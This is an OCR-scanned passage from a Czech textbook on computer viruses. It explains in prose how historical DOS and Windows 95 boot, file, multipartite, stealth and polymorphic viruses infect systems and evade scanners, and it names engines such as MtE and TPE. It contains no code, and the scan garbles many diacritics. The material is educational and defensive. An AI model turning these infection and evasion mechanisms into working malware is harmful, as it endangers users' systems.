finované misto (viz obr.2). Timto mistem byvaji nejcastéji dvé nasledujici moznosti:

o Néktery z volnych sektori na nulté (systémové) stopé pevného disku (pozi-
ce l. obr.2)

V tomto pfipadé virus vyuziva skutecnosti volného nevyuzitého mista na systémové stopé,

které se velice Casto stava kofisti i souborovgch multipartitnich virti. Tato technika je pro

tvlrce virt snazsi, nebot nemusi fesit programové problémy jako v nasledujicim pfipadé.
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Pozice 1. a II. odlozeného boot sektoru

Obrdézek 2: Princip infikace bootovacim virem

¢ Libovolny volny sektor z datove oblasti disku (pozice II. obr.2)
Tento pfipad je programatorsky narocnégjsi, nebot je potfeba v tabulce FAT oznadit ptislus-
nyg sektor jako vadny, ¢imz virus zajisti, Ze odloZzeny originalni zavadéci sektor nebude pte-
psén jingmi daty.
Po odloZeni originalniho zavadéce na jiné misto na disku zkopiruje virus své télo do zavade-
ctho sektoru pevného disku. Tim maé virus zajisténo, Ze pfi pfistim zavedeni opera¢niho systé-
mu dojde k jeho aktivaci.

Naprosto stejny mechanismus pouzivaji bootovaci viry i pfi zavirovani diskety s tim rozdilem,
Ze nulta stopa diskety neobsahuje volné misto jako v pfipadé prostoru nasledujicim za tabulkou
rozdéleni pevného disku. Viry je vyuzivano misto na konci kofenového (root) adresére. Diky té-
to skutecnosti, je-li v kofenovém adresafi diskety uloZeno ,,vétsi mnozstvi“ souborti, jsou adre-
safové udaje o téchto souborech pfemazany virovim télem a tim padem dochazi i k jejich ne-
navratné ztraté (napf. virus Michelangelo). Poniceni kofenového adreséafe uzivatel zjisti pti
vypisu seznamu soubortl v ném ulozeného (af uz ptikazem dir a: ¢i v panelech nadstavbovich
prosttedku typu Norton Commander nebo Manazer 602), kdy se na obrazovce objevuji nesmy-
slna jména souborl a nesmyslné hodnoty jejich atributtl, zejména délky souboru ¢&i data a ¢asu
vytvoreni.

Je-li bootovaci virus aktivovan, af uz procesem zavadéni operacniho systému z pevného dis-
ku &i z diskety, pak se téméF vZdy nainstaluje tésné pod vrchol 640 kB zékladni paméti (viz obr.3).
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Tento mechanismus je naprosto standardnim dosovim rezidentnim mechanismem bootovacich
virt,, kdy virus smi bez problémt operaénimu systému odebrat potfebné mnozstvi paméti, pro-
toZe v této dobé jesté nemuize byt inkriminovana ¢ast paméti ptidélena Zadnému programu a ne-
muze tedy dojit ke kolizi.

640 kB

638 kB Virus

0

Obrézek 3: Instalace bootovaciho viru do paméti

V okamziku, kdy je bootovaci virus rezidentné nainstalovan do paméti a operaéni systém je
Gspésné dozavadeén, vyckava virus na vhodny okamzik pro svoji replikaci. Replikaéni éinnost
bootovacich virti je nasledujici: rezidentnost viru zajistuje obsluhu néktergch preruseni, zejména
pak preruseni int 13h, které provadi diskové operace na trovni BIOSu. Jakmile je operacnimu
systému dan pozadavek na diskovou operaci, aktivuje se virova obsluha tohoto pferudeni, kte-
ra otestuje, jedna-li se o poZadavek na operaci s disketovou jednotkou A: a je-li tomu tak, zjis-
ti, je-li jiz vlozena disketa timto virem infikovana. Pokud ano, zajisti provedeni pozadavku, po-
kud ne, pak pfed provedenim poZadavku virus tuto disketu nejprve infikuje. Neni-li disketa
chranéna proti zépisu (write protect) dojde k ptenosu viru na tuto disketu. Infikovana disketa je
pak pripravena zavirovat dalsi pocita¢. Charakteristickou chybou uZivatele, pfi niz dojde k zavi-
rovani poditace, je zapomenuta disketa v disketové jednotce pfi zavadéni operaéniho systému.
Tato ,,nehoda” se stava zejména pii programovani, kdy pocitac vypovi vlivem ladéni programu
sluzbu a je potfeba jej znovu restartovat. Zde plati jedno doporuceni — nema-li poéita¢ archaic-
kg BIOS, je mozno nastavit v SETUPu tzv. zavadéci sled C:, A:; tj. sled, odkud (v jakém pofa-
di) se ma BIOS snazit zavést operacni systém (klasicky sled je nejprve disketova jednotka A: a aZ
pak pevny disk C:).
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V této souvislosti plati jeden zajimavy fakt, Ze drtiva vétdina bootovacich viri infikuje pouze
diskety prostrednictvim disketové jednotky A:. Z disketové jednotky B: neni mozné operacni sy-
stém zavést a tudiz je tato jednotka pro viry ,nezajimava“. V zéasadé je Cisté programatorskou
zélezitosti, zda ma virus diskety B: infikovat & nema, nicméné programaétorsky snazsi je infika-
ci disket B: iplné vynechat. Vzacngm ptikladem viru, kterg napada obé jednotky, je virus Ashar.

Jak jiz bylo zdiraznéno, jedinou moznosti infikace pocitace bootovacim virem je pokus o za-
vedeni opera¢niho systému ze zavirované diskety. Nicméné je zde jesté jedna okrajova moznost,
kterou jsou vypoustéci programy (tzv. droppery), které po svém spusténi nejprve zaviruji tabul-
ku rozdéleni pevného disku a aZ pak provadéji svoji inzerovanou ¢innost. I zde lze nalézt dopo-
rueni vyuzit moznosti novgjsich BIOSU a zapnout v SETUPu pocitace kontrolu modifikace ta-
bulky rozdéleni pevného disku. Pak v okamziku, kdy dropper chce provést infikaci pevného
disku, obdrzi uzivatel od operaéniho systému varovani, Ze ,,nékdo“ chce do tabulky rodéleni
zapisovat. Uzivatel mé& pak moznost posoudit, jedna-li se o korekini pozadavek (napt. pti for-
matovani) ¢i chce-li tfeba zautocit virus. V tomto pfipadé pak Ize samoziejmé provedeni toho-
to pozadavku zakéazat.

Jaka je prace s disketou zavirovanou bootovacim virem?

Se zavirovanou disketou je mozné bez jakéhokoliv rizika pracovat, lze kopirovat soubory na
tuto disketu pfip. z této diskety na pevny disk. Dokonce i spousténi programu ze zavirované di-
skety je bezpecné. Jedinou krizovou operaci, kdy bootovaci virus miize napadnout pocitad, je
zavadéni operaéniho systému.

Casto se stava, ze v okamziku préce se zavirovanou disketou ohlasi rezidentni jadro rizngch
antivirovych programu pfitomnost viru na pocitaéi. Jedna se o problematiku tzv. plangch popla-
chtl, kdy antivirovy prostfedek neni schopen rozeznat rozdil, zda se jedné skutecné o virovg atok
¢i zda je virov§ vzorek pfitomen v paméti pouze ve formé dat, jako v tomto pfipadé, a nikoliv ve
formé vykonného kodu. V okamziku, kdy operacéni systém pfistupuje k provedeni operace s di-
sketou, musi nejprve zjistit, jakéa disketa se nachazi v disketové jednotce. Musi urdit, je-li vioZzena
disketa vysokokapacitni (high density) ¢i nizkokapacitni (low density), pfip. nacist poloZky kote-
nového adresafe. Z tohoto diivodu nacte do paméti nultou (systémovou) stopu a tim se pocho-
pitelné do paméti zkopiruje i télo viru. A to je situace, kdy mtize antivirovy prostfedek hlésit pla-
ng poplach.

Casto diskutovanym problémem je schopnost Gspasného zavedeni operaéniho systému na
zavirovaném pocitaci. Miize tedy po zavirovani poéitace bootovacim virem dojit k situaci, Ze
operacni systém nelze zavést?

Ano i ne. Ve zavisi na tom, jakim zpusobem je virus koncipovan. Ve vétsiné pfipada boo-
tovaci viry korektni zavedeni operaéniho systému zajisfuji, coz je vlastné, jak plyne z jejich
podstaty $ifit se, i v jejich vlastnim zajmu. Nicméné muze dojit k zadvaznému problému v pfipa-
dé vicenasobného zavirovani pocitace. Typickym pfipadem je kolize virli Stoned a Michelange-
lo. Oba viry totiz vyuZivaji pro odloZeni originalniho zavadéciho sektoru stejné misto na nulté
(systémové) stopé disku (viz obr.2). TakZe v okamZiku, kdy je pevny disk zavirovan prvnim vi-
rem (napf. virem Stoned), je originalni zavadé¢ odloZen na své odkladaci misto a v zavadécim
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sektoru se uhnizdi virus. Dosud je tedy vie v potédku az do okamziku, kdy je poéitaé zavirovan
druhym virem (v naem pfipadé virem Michelangelo). Tento virus provede stejnou ¢innost jako
virus prvni — originalni zavadéci sektor (v ném je ale uz uloZen virus Stoned) odloZi na odklada-
ci misto (na némz je ale v tomto okamziku uloZen skute¢ny, virem Stoned odloZeny zava-
déc¢) a sém ulozi své télo do zavadéciho sektoru. Vysledna situace je nasledujici: v zavadécim
sektoru je ulozen druhy virus (Michelangelo), v odkladacim sektoru virus prvni (Stoned) a origi-
nalni zavadéc je nenavratné ztracen. Tim padem pfi zavedeni operaéniho systému virus Miche-
langelo po své rezidentni instalaci do paméti zavede odlozeny sektor v domnéni, Ze je v ném
uloZen zavadél operaéniho systému a spusti jej. Misto toho je ale aktivovan virus Stoned, kte-
¢ se nainstaluje do paméti pod virus Michelangelo a opét nacte do paméti odkladaci sektor, ve
kterém je ale opét jeho télo, a spusti jej atd. atd... Tim paddem dojde k nekoneéné smyéce a za-
mrznuti pocitace.

Vzniklou situaci je potteba tesit jedinou moznou cestou, a to zavedenim operaéniho systému
ze systémoveé diskety a znovu obnovenim zavadéciho sektoru napf. nékterym z antivirovich
prostiedku.

3.2.2. Souborové viry

Bezesporu nejrozsitenéjsi skupina pocitacovych virli. Souborové viry napadaji, jak jiz vyplgva
z jejich nazvu, spustitelné soubory operaéniho systému. Standardnimi spustitelngmi p¥iponami
Dosu jsou COM a EXE (pfimo spustitelné programy), BAT (ptikazové davky), OVL (pfekryvné
soubory — tzv. overlaye), BIN (binarni soubory) a SYS (systémové soubory, pfip. ovladace zafi-
zeni — drivery). Teréem infikace se vdak mohou stat i jiné souborové varianty, dokonce jsou zna-
my viry, které napadaji soubory OBJ. Mechanismus jejich ¢innosti je obdobny ve viech pfipa-
dech s piihlednutim na pfislusna specifika platna pro dang typ infikovaného souboru. Zrejmé
nejcastéjsim teréem infikace je dosovy piikazovy interpret COMMAND.COM. Virus Ontario 3
za UcCelem jeho napadeni hled4d dokonce nadefinovanou systémovou hodnotu COMSPEC. Né-
které viry se pravé z divodu Casté infikace naopak napadeni COMMAND.COMu vyhybaiji (na-
pf. virus Phoenix). V dal$im popisu budeme pro jednoduchost pochopeni problematiky nazg-
vat programem infikovany soubor bez ohledu na jeho p¥iponu.

Roz¢lenit souboroveé viry neni Gplné trivialni. Jednotlivé mechanismy se rtizngmi zptsoby na-
vzajem prolinaji, nicméné principialné lze souboroveé viry rozélenit do t¥i zakladnich oblasti po-
dle zplsobu, jakym tato skupina vir infikuje dang program. Jsou to prodluzujici viry, které své
telo zkopiruji nejcastéji na konec infikovaného programu; ptepisujici viry, které svgm télem pre-
pidi tvod programu (to ma za nasledek jeho poruseni a tim padem i nefunkénost); a koneéné
tzv. duplicitni viry, které specifickym zptisobem infikuji pouze programy s ptiponou EXE tak, Ze
v pracovnim adreséafi vytvori duplicitni soubor se stejnym jménem s ptiponou COM, ktera méa
v hierarchii Dosu pfi spusténi prednost pfed EXE-tvarem. Netypicky mechanismus infikace po-
uzivaji viry adresafové, napadajici soubor prosttednictvim tabulky FAT. VSechny tyto podskupi-
ny se pak mohou vyskytovat v jiz popisovanych rezidentnich ¢i nerezidentnich variantach.
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Obecnou vlastnosti vsech chyttejsich souborovich virti je skutecnost, Ze tyto viry zajisti, Ze pfi
opétovném spusténi nebude program znovu stejnym virem napaden. Nedochazi tedy k vicena-
sobné infekci, ktera miize pfinést znacné problémy pfi spusténi takto infikovaného programu.

Dalsim specifikem je, Ze vétsina souborovgch virti nenapada velikostné malé programy. Zvét-
Seni napt. 300 B velkého programu o 700 B virového téla je znatné napadné, kdezto v sou-
boru velkém napt. 20 kB se toto procentuédlné malé zvétseni snadno ztrati.
¢ Prodluzujici viry

Vétsina souborovych virll je tvofena pravé viry prodluzujicimi. Princip infikace je znazornén

na obr.4. Prodluzujici virus zkopiruje na konec infikovaného programu své télo a dle pfipo-

ny infikovaného programu zméni pfislusné tdaje v hlaviéce souboru, které zptisobi pfesme-
rovani ukazatele prvni provadéné instrukce programu na télo viru. Je-li tedy takto infikova-
ng program pozdéji spustén, dojde k tomu, Ze se nejprve provede télo viru a po jeho
ukonceni, kdy virus dokonéi svoji innost v zavislosti na jeho blizi specifikaci (rezidentni ¢
nerezidentni apod.), pfedéa ¥izeni infikovanému programu, ktery pak zacne vykonavat pred-
pokladanou ¢innost, pficemz uzivatel nemusi (ale miiZe) poznat, Ze program je zavirovan. Né-
které programy se diky svému charakteru nemusi s virem v jednom souboru snést a muze
dojit k jejich nefunkénosti. Typickym piikladem je jadro pfedchtidctt Windows 95.

Program

Virus

Obrdzek 4: Mechanismus infikace programu prodluZujicim virem

Je jedno, na které misto infikovaného programu uloZi virus své télo. Virus ma vlastné tfi
zakladni moZnosti. Kromé popisované muze své télo bud uloZit na zacatek programu a sa-
motny program posunout smérem doll, resp. pfepisovany tvod uloZit na konec programu
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(virus Nina) nebo vsunout své télo dovnitf programu. Obé zbylé dvé moznosti jsou de facto
hypotetické, nebot mechanismus zkopirovani na konec programu je z programatorského hle-
diska nejjednodussi. Neziidka se vyskytuji viry rozprostirajici své télo po kouscich ptes celg
napadeny program. V kombinaci s polymorfismem je to velice i¢inna metoda obrany proti
klasickym antivirovgm skenertim, hledajici jednoznaény identifikaéni fetézec viru.
Prepisujici viry

Kategorie pfepisujicich virli neni pfili§ hojné zastoupena. Jsou to viry vlastné z prvopocatku
vyskytu pocitacovich vir, tj. v dobé, kdy i programatofi virt se teprve uéili svému ,,femeslu*.
Principem je nejsnazsi mechanismus replikace virového téla. Prepisujici virus v okamziku infi-
kace pfimo prepiSe kus kodu infikovaného programu, &imz sice zajisti svoii replikaci, ale za-
roven dojde i k znehodnoceni a tim i k nefunkénosti napadeného programu. Da se fici, ze ty-
to viry jsou hodné pfimocaré a hloupé, nebof vlivem nefunkénosti hostitelského programu
dojde okamtité k jejich prozrazeni. Tyto viry jsou z drtivé vétsiny nerezidentni viry pfimé ak-
ce, kdy jejich jedinou akci je pouze samotna replikace, nejéastéji ve formé napadeni viech
spustitelngch soubort COM ¢&i EXE v pracovnim adreséafi.

Virus

Program

\N/
7\

Obrézek 5: Mechanismus infikace programu prepisujicim virem

U takto zavirovangch programii mé uZivatel jistotu, ze zavirovany program je definitivné
ztracen — neni moZné odvirovani takto nakaZeného programu spolu se zachovanim jeho
funkénosti.

Z téchto tadku by se dalo usuzovat, Ze doba pfepisujicich virt je jiz pfekonéna, nicméné
neni tomu tak! Tviirci vira pfisli se zajimavou ideou infikace systémového interpretu ptikaza
- souboru COMMAND.COM. Tento program obsahuje ve svém téle datovou oblast samych
nul, ktera neni timto programem vyuzivana (je vyuzivana az po jeho spusténi v paméti a neza-
lezi na pocateénich hodnotach této oblasti). Tuto skutecnost hbité vyuZivaji viry typu Lehigh,
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Terror & Naughty Hacker, které pravé do této oblasti ukladaji své viroveé télo. Vysledek je
zfejmy — program je infikovan, jeho délka se neméni a na rozdil od v{3e popisovaného pr-
votniho mechanismu zGstava infikovang COMMAND.COM stéle funkéni. Tento princip byl
dale rozvinut a viry typu Proud, Evil, Phoenix & Rat vyhledavaji podobné datové oblasti ne-
jen v programu COMMAND.COM, ale ve vech programech typu COM ¢&i dokonce EXE.
Ani Windows nejsou viéi této technice imunni, virus CIH se takto ukrgva v PE.EXE soubo-
rech na platformé Windows 95. Nékteré prameny uvadégji tyto viry jako samostatng druh,
tzv. mezerové viry.

¢ Duplicitni viry
P¥i spusténi programu v operaénim systému MS-DOS plati néasledujici pravidlo: zada-li uzi-
vatel ptikaz spusténi programu
prog
bez specifikace jeho pfipony, hleda operacni systém pro spusténi soubory v pracovnim ad-
reséfi v nasledujicim pofadi:
prog.com

prog.exe
prog.bat

Nenajde-li opera¢ni systém ani jeden soubor tohoto jména, pak provadi stejnou &innost ve
vSech adresafich specifikovanych pitkazem PATH. Jakmile dojde k pruni shodé, operacni systém
ukondi prohledavani a spusti nalezeng soubor.

Program | PROG.EXE

Virus PROG.COM

Obrézek 6: Mechanismus infikace programu duplicitnim virem
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Tento mechanismus velice chytfe vyuzivaji pravé duplicitni viry, jejichz mechanismus je
znazornén na obr.6. Duplicitni viry napadaji pouze programy s pfiponou EXE takovym zpa-
sobem, Ze v pracovnim adreséfi, ve kterém se nachazi infikovany program, vytvofi program
duplicitni, kter§ ma stejné jméno jako infikovany program s tim rozdilem, Ze jeho piipona
bude COM. Tim padem, zadé-li uzivatel pfikaz ke spusténi programu prog, operacni systém
nalezne jako prvni soubor prog.com, ktery spusti. Takto dojde ke spusténi viru, kterg po pro-
vedeni své ¢innosti fadné spusti program prog.exe, takze uZivatel opét ve vétsiné piipadii nic
nepozna. Duplicitni soubor prog.com mivé ¢asto nastaven atribut skrytého souboru.

Vzhledem ke skute¢nosti, Ze tento zptsob infikace nechava infikovang program naprosto
nedotéen, jsou tyto viry velice obtizné detekovatelné — k nicemu nevede napt. ani hojné po-
uzivana technika kontrolnich souéti. Ptikladem je virus AIDS 2.

e Adresaroveé viry
Dalsi, velice zajimavy zplsob infikace programu bez nutnosti zmény infikovaného programu.
Tento druh virti, jehoZz prvotnim predstavitelem je virus Dir II, nenapada program jako tako-
vy, ale napada jeho adresafovou polozku zptisobem, Ze pfesméruje pocatecni cluster soubo-
ru (nejmensi alokovatelna jednotka disku, ve které jsou uloZeny Gvodni sektory pfislusného
souboru) v tabulce FAT na télo viru, ¢imz virus opét pfi spusténi programu ma zajisténo, Ze
bude aktivovan jako prvni. Pivodni pocateéni cluster je zapsan do nevyuzité (reserved) Casti
adresérové polozky. V tabulce FAT sice dochazi k tzv. kiiZovym referencim (odkazim), kdy né-
kolik adresarovich poloZek ukazuje na stejng pocatecni cluster, coZ je v operalnim systému
MS-DOS nepfipustné, ale vzhledem k rezidentni povaze téchto viri plati, Ze tuto skute¢nost
virus trvale hlida a tim nedochézi viéi vlastnimu jadru operaéniho systému k zadngm kolizim.

Dusledkem v{se uvedené ¢innosti viru je nasledujici zajimavost — prestoze je adresarovy vi-
rus schopen nakazit vSechny programy ulozené na disku, jeho samotné virové télo se zde na-
chézi pouze jednou.

Tuto zajimavost lze vyuZit i k odvirovéni nakazengch program( - prejmenovanim &i zko-
pirovanim zavirovaného programu na libovolné jméno bez spustitelné pfipony zplisobi od-
stranéni viru.

V odborné terminologii lze adresarove viry najit téZ pod nadzvem clusterové viry a jejich za-
fazeni se nemusi shodovat se zde uvedenym. Mozné je dokonce i zafazeni na stejnou Groven
s viry bootovacimi, souborovymi & multipartitnimi.

3.2.3. Multipartitni viry

Tento druh vznikl slou¢enim bootovacich a souborovych virt. Multipartitni virus MS-DOS se
vyznacuje schopnosti infikovat jak zavadéci sektor disku &i diskety tak i spustitelny soubor.
Multipartitni Windows viry kombinuji cile atoku, nejéast&j$im teréem jsou wordové dokumen-
ty (makroviry), ovladace VxD a pochopitelné samotné 32bitové programy EXE. Napadéany
jsou dokonce i soubory napovédy *.HLP (napt. virus Babylonia napadajici navic PE EXE
Windows 95).
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Prvnim virem, kter§ byl schopen takto infikovat hostitelsk§ operacni systém, byl zfejmé virus
Ghost. Tento virus infikoval pouze programy typu COM s tim, Ze vypoustél bootovaci virus ty-
pu Ping Pong, ktergy vSak neobsahoval replika¢ni rutinu.

Ghost virus byl prvopocatkem multipartitni techniky, jejiz klasickjm predstavitelem je napft.
virus Starship. Jakmile je spustén program infikovang virem Starship, dochéazi k modifikaci ta-
bulky rozdéleni pevného disku a samotnému uloZeni viru na disk. Po pfistim spusténi pocitace
se aktivuje bootovaci varianta Starshipu, ktera infikuje viechny vytvatrené programy typu COM
a EXE na disketé. Vzhledem Kk aktivité zajisténé bootovaci variantou Starshipu nema tento vi-
rus divod infikovat programy ulozené na pevném disku, ale napada pouze disketu, ktera je pro-
sttedkem pro zajisténi pfenosu viru na dalsi pocitac.

Multipartitni viry jsou typickym piikladem vird, jejichz délka bootovaci varianty pfesahuje veli-
kost jednoho sektoru — 512 B — a proto své télo ukladaji, podobné jako bootovaci viry, nejcasté-
ji do nékolika po sobé jdoucich sektortt na nulté (systémové) stopé pevného disku. Tim se samo-
zfejmé zvétsuje i pravdépodobnost kolize v pfipadé vicendsobného zavirovani popsaného vise.

Zpusob infikace pouze programu ukladangch na disketu je charakteristickym rysem téchto virti.

Multipartitni viry, které v kombinaci se stealth ¢i polymorfnimi technikami, jez budou popséa-
ny v nasledujici kapitole, kladou zna¢né zvysené naroky na antivirovou bezpe€nost nez bézné
bootovaci ¢ souborové viry.

3.3. Viry podle koncepce navrhu a projevi chovani

Skute¢nost, jakym zptsobem se viry projevuji vacéi operaénimu systému a svému okoli, slouzi
k zavéretnému déleni. Nejedna se ani tak o déleni v pravém slova smyslu, jsou to ve vétsiné
pripadll spiSe kvalitativné vyssi stupné metod tvorby pocitacovych virt.

Dfive, nez bude uveden bliZsi popis projev chovani virti, a to zejména souborovych variant,
je potteba si uvédomit nasledujici skute¢nost. Podobné jako platil u bootovacich virt fakt, Ze se
zavirovanou disketou lze manipulovat bez nejmensgich obav, dokud nedojde k pokusu o zavede-
ni operac¢niho systému z této diskety, tak i podobné pravidlo plati u virtt souborovgch. Dokud
nedojde ke spusténi zavirovaného souboru, nemuze dojit k aktivaci souborového viru. Rovnéz
tedy mohou vzniknout problémy s plangmi poplachy u néktergch antivirovgch prostfedki, na-
pr. pri kopirovani zavirovangch soubort z diskety apod.

3.3.1. Stealth viry

Nazev této skupiny je odvozen z anglického slova ,,stealth”, jeZ oznacuje tajnost a jehoZ od-
vozeniny jsou prekladany jako: krast, potaji si vzit, vpliZit se, ptebrat apod. To vse velice vystiz-
né charakterizuje hlavni rys téchto virti — schopnost maskovat svoji pfitomnost na pocitaci pred
uzivatelovym zjisténim. Shoda nazvu se stejné pojmenovanymi americkymi ,neviditelngmi® le-
tadly neni v tomto pfipadé ndhodné. Virus se snaZi na disku ,zneviditelnit” podobné jako uve-
dené bojoveé letouny na obloze.
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Mezi zakladni vlastnosti stealth virti patfi:

— Virus skrgva jakoukoliv zménu proveditelnych komponent systému, jako jsou napf. zména
délky souboru, datum a €as jeho vytvoreni ¢ zména zavadéciho sektoru. Virus vzdy pted-
klada opera¢nimu systému udaje, jako kdyby soubor & zavadéci sektor nebyly zavirovany.
Je-li napiiklad poZzadavek na éteni zavadéciho sektoru disku (0.hlava, O.stopa, 1.sektor)
pak virus zajisti pfesmérovani tohoto pozadavku na pozici sektoru, ve kterém se nachazi
originalni zavadéci sektor (viz obr.2). Opera¢nimu systému bude tedy podstréen zavadéci
sektor a nikoliv télo viru, které se skuteéné na misté zavadéciho sektoru nachéazi.

- Virus je schopen dezinfikovat programy ,v letu“. Monitoruje zékladni preruseni sluzeb
Dosu (int 21h) a v okamziku, kdy je napf. dan pozadavek na otevieni (open) zavirovaného
programu, virus jej nejprve odviruje a teprve potom preda dale operacnimu systému. Na-
konec, kdyz pfijde poZadavek na uzavieni (close) tohoto programu, jej virus opét zaviruje.
Takto mlZe napf. dojit k situaci, Ze antivirovy program otestuje nezavirovany program
a hned poté, co je testovani ukonceno, je tento program diky stealth technice okamzité
Znovu zavirovan.

— Virus vétsinou infikuje programy, kromé klasické techniky pti spusténi programu, uz v oka-
mziku, kdy jsou programy otevirany resp. zavirany. Stealth viry se diky této skutecnosti ve-
lice rychle rozsifuji po celém systému.

Prikladem souborového stealth viru je napft. jiz zmihovang adresarovy virus Dir II, ktery, je-li ak-
tivni v paméti, zajisfuje zobrazovani nezavirovangch délek souboru, jejich data a ¢asu vytvorent, za-
jistuje skute¢nost, ze program chkdsk nezjisti zadné kfizové odkazy ve FAT tabulce apod.

Jesté jednou zduraznéme, Ze zékladni podminkou stealth virti je jejich aktivita v paméti. Za-
vede-li uZivatel systém ze zalozni (nezavirované) diskety nemuize dojit k aktivaci stealth viru ulo-
Zeného na pevném disku. Tim padem stealth virus nemtiZze provadét své maskovani a tudiz je
toto zaroven i jedind moznost, jak lze stealth viry s jistotou detekovat.

Pfikladem jednoduchého bootovaciho stealth viru je virus Aragon, kterg maskuje fakt zaviro-
vani zavadéciho sektoru. Tento postup bude probran v ¢asti vénované virovgm mechanismtm.

Castym neopodstatnénym mitem je, Ze virus mize sidlit v paméti CMOS. Paméf
CMOS je sice pamét typu RAM, nicméné neni adresovatelnd. Pristup je feSen pomoci in-
strukci V/V portti (bran) a tato pamét nemiize obsahovat spustitelny kéd. Dilezita data
konfigurace pocitace, kterdé CMOS pamét obsahuje, se vsak mohou stdt teréem destruk-
tivni ¢innosti viru (nap¥. virus AntiCMOS). Virus zde rovnéz mize teoreticky ulozit velice
malou ¢ast svého téla, pfip. vyuzit vyhrazené (reserved) ¢asti této paméti pro svou dato-
vou oblast (napf. pro ¢ita¢ poctu zavedeni operacniho systému od doby infikace); nikdy
vSak nemiize obsahovat program, ktery by bylo mozné z této paméti spustit.

3.3.2. Polymorfni viry

Polymorini viry se svym chovanim podobaiji stealth viriim. Avsak zatimco stealth viry prova-
déji své maskovaci operace v redlném Case v zavislosti na pozadavcich kladengych operaénimu
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systému, viry polymorfni provadéji svoji maskovaci ¢innost zptisobem odlisngm. Hlavni charak-
teristickg znak této skupiny je skutecnost, Ze zadné ze dvou kopii virového téla nejsou totozné.
Polymorfni viry se tedy brani detekci jejich pfitomnosti v infikovaném programu. Polymorfni vi-
ry v prvé fadé demonstruji omezenost klasickgch antivirovgch skenerti, pracujicich na principu
charakteristickych fezézcl, které je nedokazi odhalit. Princip téchto virtl je znazornén na obr. 7.
Pocétek téla je tvoten odkdédovaci rutinou, kterd provede odkédovani zbylé zakbdované Easti
téla viru v paméti po jeho spusténi.

Odkodovaci
rutina

Zakodované
télo viru

Obrdzek 7: Princip polymorfniho viru

Vyjimkou neni ani kombinace polymorfnich virti spolu se stealth technikami popsangmi v{-
e (napf. viry Tequila, Whale ¢i Telecom).

Jedinou nevyhodou uvedeného mechanismu je skutecnost, ze pravé tvodni odkédovaci ruti-
na slouZi pro vétsinu antivirovgch programt k detekovéni pfitomnosti viru v souboru. Jedné se
o tzv. semi-polymorfni viry, které pouZivaji statickou odkédovaci rutinu. Tuto ,nevihodu®
odstranuji pIné polymorfni viry, nebof v jejich pfipadé jsou i odkddovaci rutiny generovany riz-
ngmi zpsoby a tudiz antivirové prostfedky ztraci i tuto posledni moznost detekce. Navic i dél-
ka generovanych rutin bgva proménna. Nejvyssi trovni polymorfismu je tzv. metamorfismus,
kter§ obménuje veskeré instrukce viru, tedy nejenom (de)kdédovaci rutiny. Pro metamorfickeé vi-
ry plati, Ze unikatni jedinec je generovén i do paméti. Rezidentni antivirové $tity maji zna¢né zti-
Zenou ulohu detekovat tyto viry a to i proto, Ze fada podobnych virti obsluhuje ladici pferuseni
int O1h, pfiGemz i obsluha tohoto pferusenti je polymorfni. Piikladem je slovensky virus TMS.

Jadrem polymorfnich virQi jsou polymorfni generatory, které jsou pripojovany k existujicim
viram:
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e M{E - Mutation Engine
Polymorfni generator bulharského tvirce vird Dark Avengera z roku 1991. Byl dan k dispo-
zici Siroké, viry pisici vefejnosti, prosttednictvim stanic BBS. Kromé zkratky MtE se v odbor-
né terminologii vyskytuji terminy ,,Self Mutation Engine” a ,DAME* (Dark Avenger Mutation
Engine).

Virus — | MtE — 5 Polymorfni
virus

Obrézek 8: Pouziti MIE algoritmu

Pouziti MtE je charakterizovano na obr.8. Program, kter§ je potfeba polymorfné zakédo-
vat (v naSem pfipadé virus), je pfedan formou ukazatele rutiné MtE spolu s uvedenim dal3ich
omezeni, kterd se maji pfi konvertovani dodrzZet (znemoZnéni indexace pomoci registru BP,
seznam uschovnych registrii apod.) a kone¢né ukazatel na zasobnik, kam rutina MtE vyge-
neruje kbédovaci algoritmus a zakdédovany virus. Tvirce viru viibec nemusi znat princip MtE.
Staéi mu pouze, aby védél, jaké jsou vstupni parametry algoritmu dostupného v knihovnim
OBJ tvaru.

Vlastni princip MtE algoritmu je znazornén na obr.9. Algoritmus nejprve pozada genera-
tor ndhodnych ¢isel o pseudonahodné Eislo, které bude pouZito jako kli¢ pro zakédovani pro-
gramu. Na zakladé tohoto klice a vstupnich parametrt algoritmus vybere registr, jez bude po-
uzit pro indexovani a nasledné vybere metodu dalsiho kédovaciho postupu. Nasledujici rutina
vygeneruje pomoci generatoru nahodnych &isel mapu, urcujici pouziti jednotlivich registrt
procesoru. Zavérem MtE na zakladé registrové mapy vygeneruje cilovy algoritmus.

Prikladem polymorfnich virt jsou napt. virus DAME (shodny nazev jako polymorfni tech-
nika) znamy rovnéz ve variantach ,Dedicated 2“ - ,Dedicated to Sara Gordon“. Virus véno-
vany jisté Sare, ktera, podle citace viru, chtéla virus pojmenovany po ni. I to je jeden z mno-
ha divodu, pro¢ vlastné pocitacové viry vznikaji.

o TPE - Trident Polymorphic Engine
Oproti MtE, jehoz velikost algoritmu je cca 2,4 kB je toto polymorini jadro mensi - cca
1,5 kB. Metody pouzivané TPE jsou obdobné jako v ptipadé MtE, avsak TPE nabizi viestran-
né&jsi pouziti adresovacich mechanismti. Obecnégjsi povaha ¢ini TPE mechanismus méné pred-
povéditelnym, coZ znaéné komplikuje antivirovym programtim i tlohu samotného rozpoznani
vir vygenerovanych pomoci této techniky. TPE pochazi z Nizozemi, vznikl v roce 1992.
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Obrdzek 9: Princip &innosti MIE algoritmu

e DAME - Dark Angel’s Multiple Engine
Oznaceni tohoto generatoru se plete se stejné oznaCovanym virem i technikou Dark Aven-
gera. Vznikl v Kanadé v dilné virové skupiny Phalcon/SKISM v roce 1993. Byl distribuovan
ve formé komentovaného zdrojového tvaru magazinem 40Hex. MozZnosti jsou obdobné jako
u jingch generator. Parametricky lze volit zejména pouziti dvou registrovich ukazateld, za-
rovnani kodu v paméti na slovo nebo dvojslovo, smér kédovani, pouziti registru citace a pro-
kladani kédu neviznamngmi instrukcemi.

T¥i uvedené generatory patti mezi polymorfni $picku. Existuje nékolik dalsich, napf. NED -
NuKE Encryption Device, DGME - Darwinian Genetic Mutation Engine (snaha o ,,genetickou*
mutaci jedine¢nych kopif), GPE - Guns’n’'Roses Polymorphic Engine, VME - Visible Mutation
Engine, FOG - Funky Opcode Generator ¢ MutaGen. Zajimavy je generator SMEG - Simula-
ted Metamorphic Encryption Generator, vyznacujici se zejména tim, Ze misto prokladani kédu
nevyznamnymi instrukcemi pouziva volani nevyznamnych funkci instrukcemi call. Autor
SMEGu Christopher Pile — anglicky tviirce virti znamy jako Black Baron, byl za tento genera-
